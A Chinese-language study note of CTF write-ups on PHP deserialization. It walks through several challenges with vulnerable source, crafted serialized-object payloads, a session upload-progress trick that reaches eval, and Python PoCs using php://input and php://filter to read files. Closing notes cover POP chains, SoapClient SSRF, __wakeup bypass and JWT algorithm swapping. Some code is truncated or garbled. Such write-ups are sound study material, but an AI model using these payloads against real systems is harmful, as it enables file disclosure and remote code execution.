PHP反序列化学习笔记

反序列化专题

http://web.jarvisoj.com:32768

此题为反序列化中最简单的一类题目:源码中存在反序列化函数,类中有可利用的函数,并且该函数在反序列化后被调用。只需要通过反序列化漏洞,改变类中属性的值即可。

showimg.php: 文件读取漏洞


index.php :

readfile();
?>

shield.php :

 file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

看到这里,发现flag在pctf.php中,而showimg.php文件读取函数中过滤了pctf关键字。而index.php中,存在反序列化触发点可执行readfile函数。

payload:

访问:

http://web.jarvisoj.com:32768/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

得到flag:


http://web.jarvisoj.com:32784/

题目源码:

mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

源码中提示了session的序列化引擎。考虑能否利用session触发反序列化。刚好,题目可以获取phpinfo信息。发现session.upload_progress.enabled开启,则通过上传文件可以控制session内容,从而在服务器读取session时,会触发反序列化。
再通过phpinfo查看disable_functions,发现system,exec等函数被禁用。

首先,构造上传页面upload.html:

上传文件,抓包。
构造序列化poc:

mdzz = 'var_dump(scandir(dirname(__FILE__)));';
$b = serialize($a);
echo $b;

#O:5:"OowoO":1:{s:4:"mdzz";s:37:"var_dump(scandir(dirname(__FILE__)));";}

改造payload(头部加|,双引号转义):

 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:37:\"var_dump(scandir(dirname(__FILE__)));\";}

将burp抓到的post请求,修改文件名为上述payload。
得到flag所在文件: “Here_1s_7he_fl4g_buT_You_Cannot_see.php”
再使用:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag:

$flag="CTF{4d96e37f4be998c50aa586de4ada354a}";

http://106.14.114.127:21000/

http://106.14.114.127:21001/

魔法方法,构造pop链

skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  
 
class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  
if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
 
?>

http://106.14.114.127:21002/

利用php原生类SoapClient实现ssrf

http://123.206.87.240:8006/test1/

php://input,绕过file_get_contents判断

F12查看源码:

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!
"; include($file); //hint.php }else{ echo "you are not admin ! "; }

这段代码有两个漏洞点:file_get_contents(file),文件内容判断用php://input绕过,利用文件包含漏洞读取hint.php源码。
payload如下:

import requests
session = requests.Session()
paramsGet = {"txt":"php://input","password":"admin","file":"php://filter/read=convert.base64-encode/resource=hint.php"}
rawBody = "welcome to the bugkuctf"
response = session.post("http://123.206.87.240:8006/test1/", data=rawBody, params=paramsGet)

读取到hint.php源码:

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("good"); } } } ?>

提示存在flag.php文件。首先尝试用文件包含漏洞,直接读取flag.php文件,发现被过滤:

Response body: hello friend!
不能现在就给你flag哦

另外,发现flag类的魔法函数__tostring()可用于读取flag。需要找到一个反序列漏洞,并使用echo触发。使用文件包含漏洞,获取index.php完整代码:

";  
    if(preg_match("/flag/",$file)){ 
        echo "ä¸�è�½ç�°å�¨å°±ç»�ä½ flagå�¦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  

关键代码段为:

$password = unserialize($password);  
echo $password;

满足反序列化触发条件。构造payload:

最终poc:

import requests
session = requests.Session()
paramsGet = {"txt":"php://input","password":'O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}',"file":"hint.php"}
rawBody = "welcome to the bugkuctf"
response = session.post("http://123.206.87.240:8006/test1/", data=rawBody, params=paramsGet)

http://106.14.114.127:21004/

魔法方法,构造pop链

魔法方法

方法的调用不会保存到序列化中,因此反序列化后,函数的触发是问题的关键。

魔法方法:满足条件时,自动触发。不需要调用。

手册中,可查魔法方法:__toSting(打印时),__call(调用不存在的方法时)等

在类外部赋值,只对public变量有效。private变量,需要再类内部赋值。

构造序列化后,urlencode再发送。

考点:

  1. pop链:串联序列化

  2. 结合session,session是通过序列化存在服务器端。session的序列化引擎有三种。一般是php(默认)和php_serialize组合利用。存储用php,反序列化用php_serialize,会出问题。需要控制session内容(uploadgress。。。=on),构造文件上传,filename会在session文件中出现。服务器接收session后,会自动对其反序列化。
    payload要加|,做转义。

  3. 代码中没有序列化的,用session或phar触发。

parse_str 函数可以做变量覆盖。
call_user_func_array危险函数

反引号可以直接执行命令。$IFS代替空格。

绕过__wakeup()是cve,有绕过漏洞。

union select (。。。。),2,3 结合

利用类的同名函数触发

&取地址,用来绕过===,

php原生类同名函数:
soapClient->ssrf
sqlite3,创建空白文件,
simpleXML。。。任意文件读取
Dir。。。列目录

.htaccess 可定义后缀的解析方法。

php脚本快速找同名函数原生类。

可以利用php自带类中的同名方法。

要根据题目的环境,使用脚本找同名原生类。

找原生魔法方法的脚本。

https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault
http://www.wupco.cn/?p=4486

CIRL注入,构造http头。

json web token :JWT用于身份验证,保持状态
防串改,不防读取。串改需要伪造签名(需要泄露秘钥)。
结构:header+payload+Signature

攻击方法:
1.修改算法攻击(HS256等):只有公钥等化,改算法为对称算法活着空

你可能感兴趣的:(PHP反序列化学习笔记)